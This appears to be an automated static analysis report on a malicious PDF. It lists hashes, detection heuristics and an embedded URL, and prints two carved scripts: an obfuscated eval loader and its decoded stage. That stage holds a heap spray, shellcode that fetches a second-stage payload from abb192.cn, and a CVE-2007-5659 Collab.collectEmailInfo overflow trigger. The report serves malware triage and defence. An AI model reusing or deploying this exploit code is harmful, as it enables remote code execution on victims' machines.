Malicious PDF — malware analysis report

Static analysis result for SHA-256 28693cad4b12936a…

MALICIOUS

PDF

4.6 KB Created: 2008-08-06 01:42:27 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12) First seen: 2013-04-22
MD5: 8595bf07b4d25bedefeeee0baaa80c00 SHA-1: 1997f755214f6985d1fdd98b6b5bfb9999880c74 SHA-256: 28693cad4b12936a08d11c17af71a0a6cc5cb69f6dc2b4794addc4d6dc4643d4
308 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of an eval() call within the JavaScript stream (PDF_EVAL) strongly suggests an attempt to execute obfuscated code. While the exact payload is not discernible due to obfuscation, the technique is commonly used to download and execute further malicious content. No specific family could be identified.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function yBT8HxXg(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function klkcWqg(gIoyNxANhorM){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(gIoyNxANhorM)"+";"+"}");eval("function kWkjXON(iFw3XW3RkNx7d){var qpHYE95tJwG="+"0,co7yNGp2e8=iFw3XW3RkNx7d.l"+"en"+"gth,ir5nEmcUj=10"+"2"+"4,EFhS1,Y8i6hWCft,Ru9dSXUXLj='',HD4dFJKiKP9R9E=qpHYE95tJwG,XRoYuKT3xva=qpHYE95tJwG,IvBntPrWe=qpHYE95tJwG,FMUHVwPk64Bub=Ar"+"ra"+ …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://abb192.cn/spl3/load.php?id=15&spl=4 Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x366 6340 bytes
SHA-256: a5df585b61d21f8f8ed9bffc179b854ca05125cda4976d42cc71430a81feebcc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 173 of 229 identifiers look randomly generated (e.g. 'mv9j4_sMmvk64cV6mv9jTesMmvE64DF6mv'); 2 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
function yBT8HxXg(){eval("function im"+"plo"+"de(gl"+"ue,pie"+"ces){return ((pieces instanceof Array)?pie"+"ce"+"s.jo"+"in(glu"+"e):pie"+"ces);}");eval("function klkcWqg(gIoyNxANhorM){return St"+"rin"+"g['fro"+"mCh"+"arC"+"ode']"+"(gIoyNxANhorM)"+";"+"}");eval("function kWkjXON(iFw3XW3RkNx7d){var qpHYE95tJwG="+"0,co7yNGp2e8=iFw3XW3RkNx7d.l"+"en"+"gth,ir5nEmcUj=10"+"2"+"4,EFhS1,Y8i6hWCft,Ru9dSXUXLj='',HD4dFJKiKP9R9E=qpHYE95tJwG,XRoYuKT3xva=qpHYE95tJwG,IvBntPrWe=qpHYE95tJwG,FMUHVwPk64Bub=Ar"+"ra"+"y(63,51,13,14,9,44,53,28,49,12,0,0,0,0,0,0,52,29,42,57,23,60,25,15,3,26,55,18,59,50,1,62,10,43,45,4,8,36,5,21,20,47,30,0,0,0,0,39,0,24,54,31,6,35,7,46,33,34,2,56,17,16,22,27,41,58,32,0,61,38,19,37,40,11,48);f"+"o"+"r(Y8i6hWCft=M"+"at"+"h.c"+"ei"+"l(co7yNGp2e8/"+"ir5nEmcUj)"+";Y8i6hWCft>qpHYE95tJwG;Y8i6hWCft-"+"-){fo"+"r(EFhS1=Ma"+"th.m"+"in(co7yNGp2e8,ir5nEmcUj);EFhS1>qpHYE95tJwG;EFhS1-"+"-,co7yNGp2e8-"+"-){IvBntPrWe|"+"=(FMUHVwPk64Bub[iFw3XW3RkNx7d.cha"+"rCod"+"eAt(HD4dFJKiKP9R9E+"+"+)-48])<"+"<XRoYuKT3xva;if(XRoYuKT3xva){Ru9dSXUXLj+"+"=klkcWqg"+"(102^IvBntPrWe&"+"2"+"5"+"5);IvBntPrWe>"+">="+"8;XRoYuKT3xva-"+"="+"2;}el"+"se{XRoYuKT3xva="+"6"+";}}"+"}return (Ru9dSXUXLj);}var Z50B1jd=implode('',['dN8NXa','Uj','KCzSH9hloFSjHShl_mN','VfEhvG6wls9NjVT8H4rrlGUs','sg78f','USv9ExrvN','T','iP','zae','VPFSfT7MP2','xM26SMXQ','EU','lAaXS','3E','rjHaUvNTiPzaeVT','pzsT','S','rS3zSWI8','Nj_5KHB7v2h96PG6lsi','xj9b','ahl2R','wlNTiPzaeVARhlNTiPz','aeVdRwlN','TiP','zaeVTW','8S','S','Xh','SXEsjNkUWP8Nj','_5','K','H','B7','v2h9','6','P4l6vAF','SV','HT','8SXr','rl','N','TiP','z','aeVAF@d','d','N','zSTXrSGUs','j','dAN4HElWVaVGn8','my3tUl','AaSS','fmhlzk14','xS8','WDWsjUz8G8a@ndFw','fnWrW','VaWNn','WmDdN8NXaSyy9HPPa@nd','2NjH','X','lN','fa','8s','3','l','@mvTWWKW','6mvTW','WK','W6mvTWWKW6mvaVTem','Mm','vXWWvlMmvsVXwE6','mvkwWU','E6mvkw','WnA6mv9jTWW6mv9','jW','KW','6mv9j4','r7Mm','v9iDn26mvsjTe','XMmvsjTrsMmvkV4lNMmvTj','TK2Mm','v9jTe','sM','m','vs','w','Xe','sMm','v','9KW_s','Mm','vEVTm46mvT','VWrX6mv','EVTm46mvs','6TeS6m','v9jT','nW','6mv9jTemMmvswXe','sMmvmMDnW','6mvs6','WZV6mv9MW_76mva','WXnW6mv9jTDA6mv9jTesM','mv7M4mN','6mvmM','Dem','MmvSWXZV6','m','v','s6X','DA','6mvaWX','e76mv9jTD','NMm','v9','jTesMm','v7M4m','N6','mv','mM','D','eS6m','vXM4Z','V6','mv7wWvNMmva','WXX4Mmv9j','Tn4M','mv9','jT','esMmv7M4','mN6mvmMDeX6','mvawWZV6mvaVTXA6','m','vaWX','ZNMmv','9jTWlMm','v','9jTesM','mv7M4mN6mvmMDr','sMmvm6TZV6mva64cN6mvaWXvV6m','v','9jTXt6mv9','j','TesMmv7M4mN6mv7jT','rm','Mm','vTKXmNMmv','E6','4','XWMm','vsVXD26mvsKX_7Mm','v9iDnN','6mv9j','T','e9MmvmM','W','esMmvE6','4','mN6mvswXwmMmv9j4_7Mmv','9MT','Z26mvswXUs6mv','sKXU7MmvaWXU','E6mv9jTm46','m','v9jTesMm','vkW','X','UsMmvsMXiE','6mvE','VT','wa','6mvSwDn','V','6mv9jTesMmvs','VXes','MmvsKW_7','Mmvm64m46mvmVTmW','Mm','vsVXUsM','mvXj','T_7Mmv7wW','ZV6m','v9j','Te','sMmvmjTesMmv7','M4m4','6mvk6XrmMmvmj','Xe','TM','mvmM4m46m','v','aWXrS6mv9j','TZ','2Mmv9j','TesMmv','7M4eXMmvmwDwsMmvmKW','e','sMmvXMW','cA6mv','mwDZAM','mv9j4_sMmvk64cV6mv9jTesMmvE64DF6mv','swXwsMmv9KW_7Mmv9MT','Z2','6mvswXUs','6mvsKXU7Mmv7jTnV6','mv9jTe','sM','mvk6X','e','sMmvm','K','Xek6m','v7M4eXM','mvTK4wm','Mmvm','K4W46mv7wWUXMmvXjTcAMmvmK4UsMm','v7M4','m46','mv','k','6Xr','X6mvmjXe7MmvmM4m','46mv','aWXr','S6mv9jTwXMmv9jT','esMm','v','9jTZ2','6m','vE6','4D','F','6mvswXwsMmv9','KX','_7Mm','v9iTZ26mvsw','XU','s','6mvsKX','U7MmvsjTnV6','mv9j','TesMmvk6X','esMmvsw','XD','F6mvsjT_7Mmv9MTZ','2','6m','v','swXUs6mvsKXU7Mmv9jTnV6mv9j','TesMmv7M','TesMmv','miT','UT6mva6TeXMmva6TeX','Mmva6TeXMmva6TeXMm','vaWWmWMmvm','M','XemM','m','vsw','XUXMm','va','wTW26m','vmiTD','C6','mvaVTDF6mvswXU7MmvswXnW6','mv9','KXcl6mvmjW','m46mv','mMDeX','6','mvEW4m','46m','v','swXiX','6mvsMWc','lMmv9K','4c','V6mv','mMDDWMm','vE6D','m46','mv9','K4','wsMm','vTK4','DWMmv7jXXN','6mvT','VW_9MmvmW4eXMmvTK4U','E','6mv9iWDt6mvsjTvA6mv7w','Ti96m','v9','KXcl','Mm','vm','6','WX','2Mm','v9K4em6mv','7jTD4Mmv76T','n46mv76W','iT6mvE64U76m','vm','MXnAMmvawX','m46','mvm','MXm','46mv9K4wmMmvk6DWl6','mv9K','Wm46mvswX_T6mvsK','W','U96mv','XVWe','XMmv9','j4m46mv9K4','m4','6mvmMWX','AMmvm','wT','Um6mv9jTeS','6mv7V4nV6m','v7wWDA6mvmM4DF6m','v7KWU','TMm','v7iW','_','m6mv','9jT_76mvSw','XmC6mvS','wW','l4','6mvmVTWA','Mmvs6WXNMmv','sVWml6mvX6DWA','6mvm6TWl6mvs6Tm','W6','mvS','WWXNMmvsW4l','F6mvmVTWW6','mvsVT','mWMmvs','wXmA6mvSw','WX2Mmv','SwWmC6mvs6D','WNM','mvXwTm46mvX6','X','WA6m','vSWWXN6m','vsW4lF6','mvXw','XW4jlG','6wl','m','7sVd4sW','wkifw','EMN7TH','G07VfdRwlnChXnFwWn','FWDd','N8NXaXy1k8','GsSef4k6WZCiloFSyy9H','P','PrUjHrmsKkrl','9FSW','AFSSfmhl7rz','4Q@rPJ','XvTvRi','loF','Us','XWiyZXMyfzh9EE1','W7a@KdCXy1k8Gs','Sef4k','6WZCK','vnClWZ','tXD','d','N8','NX','aXsix','j9','b','ahloF@ST9mVV7r','VHk','SlH28DntwWH28DntwWSt','XDd','V','rTBse2na@ndtmjskMVcmK','98ze','j','3Vr','TBse2n','x','Ul7','rz4Q@rP','JXvTvRMvAFSSfm','hl65rTvh','r','2dRwl3Ne','G_rKSDAWNTmjf0SelyF','U','W','ZTwWnFwWntXKjmW4g','kl','4Y7','sf','Mz','1GD8l','DdNmjX','aUvm7sVdli2nlmW57','K4W21nn6V4baVN','W8M4wX69IW1','ji','9Vj','b@V4ba','V','N','W8M4w','X6','9','26','@v','d6hlPTwH','v9zStmi2nlmW57K4W213dR','wlNTiPzaeVd6Ul55z9xx','m','DdRhloaSsvr','mNKEmjTa@9VTrPV','kVS_k6S','29hvGFXfdN8NXaX9M96TJX8P@76','s','j','7iloF@NnaNKmEzsl9','sVz9sV','WE','mjTrUS','4XeSXEsjNk@vAF','X','9M96TJ','X8P','@7','6sj7iloF','X9M96T','JX','8P@76sj7j','K','X9rVP','7m','NHk','XK','qTKKNxSl','S','tXDdN8','NX','a@GeTiyfz','8S','exK9BS','iHd','Rw','lT9mSdAjVX7zf3','Ve9v2','M2W5j','2','D2r','s_rXN37sV_Th','vn','tUK8T','1Xe7vV','Qm1WHTz4TW','rHfm84Kk@WGp','X','9','M96TJ','X8P@76sj7jKVkzNX7','iS3l6vG','6wlG','srl3C@G','eTiyf','z8Se','xK9BSiHta','63dR6n','dCwls','NUl3C@Ge','T','iyfz8SexK9BS','iHt763','d','R6ndA','wlsNUl0','9iTg7','sf','v9i','P8x','KT3@HWLaUndl6vdp','hddt1T','ikMN798TBSePhkmGD','Re','lIF@WGtUl','Ixhl','3t1Tik','MN798TBSePhkmGn','Rel','o','RwllFSmsF','@G','eTiyfz8SexK','9BSi','Ht7','6','3','dpwlDtUlIxhl3','t','1Ti','k','MN798TBSePhkmGnRelIFXXGtUlAa@VU9z','fWWrW','Ea','VHR','k@vAFSSfmhl3mvPE','aVVdR','wl','vrzsWXzNn9rvS2@Sn','WrWV','9@SnWr','WV','m@vAFXS','3ErjH','kUH@UjG','n','lNKP9sjNThH','dpw','lK46Dv','l6','vdCs2pze','WX','aX','voFUH@U','jGn','llDd4h','HGXNKVU','rjP7sN','6TljX9r','lo','FX44xr','jfmsKVU','rjP9m','NK9MjfErjYrs','s4kXfW','9NN9zwlSlUKyXls7FUH@','UjGnl','8d','G6wloa','@d','d2v','NjxKNZN84Z2lHvk@vAN']);");eval(kWkjXON(Z50B1jd));}
generic_stage_recovery_000.js deobfuscated-js generic stage recovery sixbit-xor-table from JavaScript object 13 at offset 0x366 2587 bytes
SHA-256: d8f821346ce1f926fa7e7cfc44fc7354185992b519011e9ee2291e9a27cdebdc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var l4hueu = new Array(); function iofHqyBWWZl(gDLVPp, znAMkLQSG5M) { while (gDLVPp.length*2<znAMkLQSG5M){gDLVPp += gDLVPp;} gDLVPp = gDLVPp.substring(0,znAMkLQSG5M/2); return gDLVPp; } function qBey3c0Z0jK() { var VXANw11cnBzYW = 0x0c0c0c0c; var JmUNl = unescape("%u4343%u4343%u4343%u0FEB%u335B%u66C9%u80B9%u8001%uEF33%uE243%uEBFA%uE805%uFFEC%uFFFF%u8B7F%uDF4E%uEFEF%u64EF%uE3AF%u9F64%u42F3%u9F64%u6EE7%uEF03%uEFEB%u64EF%uB903%u6187%uE1A1%u0703%uEF11%uEFEF%uAA66%uB9EB%u7787%u6511%u07E1%uEF1F%uEFEF%uAA66%uB9E7%uCA87%u105F%u072D%uEF0D%uEFEF%uAA66%uB9E3%u0087%u0F21%u078F%uEF3B%uEFEF%uAA66%uB9FF%u2E87%u0A96%u0757%uEF29%uEFEF%uAA66%uAFFB%uD76F%u9A2C%u6615%uF7AA%uE806%uEFEE%uB1EF%u9A66%u64CB%uEBAA%uEE85%u64B6%uF7BA%u07B9%uEF64%uEFEF%u87BF%uF5D9%u9FC0%u7807%uEFEF%u66EF%uF3AA%u2A64%u2F6C%u66BF%uCFAA%u1087%uEFEF%uBFEF%uAA64%u85FB%uB6ED%uBA64%u07F7%uEF8E%uEFEF%uAAEC%u28CF%uB3EF%uC191%u288A%uEBAF%u8A97%uEFEF%u9A10%u64CF%uE3AA%uEE85%u64B6%uF7BA%uAF07%uEFEF%u85EF%uB7E8%uAAEC%uDCCB%uBC34%u10BC%uCF9A%uBCBF%uAA64%u85F3%uB6EA%uBA64%u07F7%uEFCC%uEFEF%uEF85%u9A10%u64CF%uE7AA%uED85%u64B6%uF7BA%uFF07%uEFEF%u85EF%u6410%uFFAA%uEE85%u64B6%uF7BA%uEF07%uEFEF%uAEEF%uBDB4%u0EEC%u0EEC%u0EEC%u0EEC%u036C%uB5EB%u64BC%u0D35%uBD18%u0F10%u64BA%u6403%uE792%uB264%uB9E3%u9C64%u64D3%uF19B%uEC97%uB91C%u9964%uECCF%uDC1C%uA626%u42AE%u2CEC%uDCB9%uE019%uFF51%u1DD5%uE79B%u212E%uECE2%uAF1D%u1E04%u11D4%u9AB1%uB50A%u0464%uB564%uECCB%u8932%uE364%u64A4%uF3B5%u32EC%uEB64%uEC64%uB12A%u2DB2%uEFE7%u1B07%u1011%uBA10%uA3BD%uA0A2%uEFA1%u7468%u7074%u2F3A%u612F%u6262%u3931%u2E32%u6E63%u732F%u6C70%u2F33%u6F6C%u6461%u702E%u7068%u693F%u3D64%u3531%u7326%u6C70%u343D"); var d2CHxCIazTZY1z = 0x400000; var KUxYfWxo818H = JmUNl.length * 2; var znAMkLQSG5M = d2CHxCIazTZY1z - (KUxYfWxo818H+0x38); var gDLVPp = unescape("%u9090%u9090"); gDLVPp = iofHqyBWWZl(gDLVPp, znAMkLQSG5M); var SmD5nP = (VXANw11cnBzYW - 0x400000)/d2CHxCIazTZY1z; for (var BP0b3JAC3U=0;BP0b3JAC3U<SmD5nP;BP0b3JAC3U++) { l4hueu[BP0b3JAC3U] = gDLVPp + JmUNl; } } function UcdLc8vA8uku() { var WT5EQsMR1edA = app.viewerVersion.toString(); WT5EQsMR1edA = WT5EQsMR1edA.replace(/\D/g,""); var YEDHazuELWLGh = new Array(WT5EQsMR1edA.charAt(0),WT5EQsMR1edA.charAt(1),WT5EQsMR1edA.charAt(2)); if ((YEDHazuELWLGh[0] == 8 && ((YEDHazuELWLGh[1] == 1 && YEDHazuELWLGh[2] < 2) || YEDHazuELWLGh[1] < 1)) || (YEDHazuELWLGh[0] == 7 && YEDHazuELWLGh[1] < 1) || (YEDHazuELWLGh[0] < 7)) { qBey3c0Z0jK(); var hROZ0r = unescape("%u0c0c%u0c0c"); while(hROZ0r.length < 44952) hROZ0r += hROZ0r; this.collabStore = Collab.collectEmailInfo({subj: "",msg: hROZ0r}); } } UcdLc8vA8uku();